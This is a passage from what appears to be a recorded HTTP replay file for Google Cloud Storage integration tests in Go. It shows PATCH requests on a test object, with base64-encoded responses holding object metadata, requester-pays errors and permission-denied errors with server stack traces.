Zy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NDI4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NTgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IudXBkYXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "e050063f79f64820", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3216" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:55 GMT" - ], - "Etag": [ - "COGeqNLx/eECEAQ=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq4hs_SY8_2HHPHu8NfVIkOdwmZz7h6XH0nWRSTQJSqzQZQGvv1p83Z6W209h3bXsbN9_ESiU3OIyLRwmEldfBP94hRhN5t1JnagcKPcMEOv8FtvHs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsIm1ldGFnZW5lcmF0aW9uIjoiNCIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MS41NDdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTUuODI0WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUxLjU0N1oiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MTU0ODAwMSZhbHQ9bWVkaWEiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiIsImNhY2hlQ29udHJvbCI6InB1YmxpYywgbWF4LWFnZT02MCIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBUT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MTU0ODAwMS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTE1NDgwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ09HZXFOTHgvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2Zvby8xNTU2ODM1ODkxNTQ4MDAxL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3VzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJvYmplY3QiOiJmb28iLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MTU0ODAwMSIsImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPR2VxTkx4L2VFQ0VBUT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoibW5HN1RBPT0iLCJldGFnIjoiQ09HZXFOTHgvZUVDRUFRPSJ9" - } - }, - { - "ID": "f7edef926cdb7d75", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026projection=full\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjb250ZW50TGFuZ3VhZ2UiOiJlbiJ9Cg==" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13231" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:56 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqyQ9DLrBDGkx7uOkrIKrzMMYA4YygdFsd1si16n2Lr4I5Rfp1lxwadC3jThiJbE-cDyuZATHtvM2bzpsRDPJzbmKgtxYydHykiB-oCsSFqfwy50gw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NDI4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuVXBkYXRlQW5kUGF0Y2hPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFuZFBhdGNoT2JqZWN0LmphdmE6NTgpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IudXBkYXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZ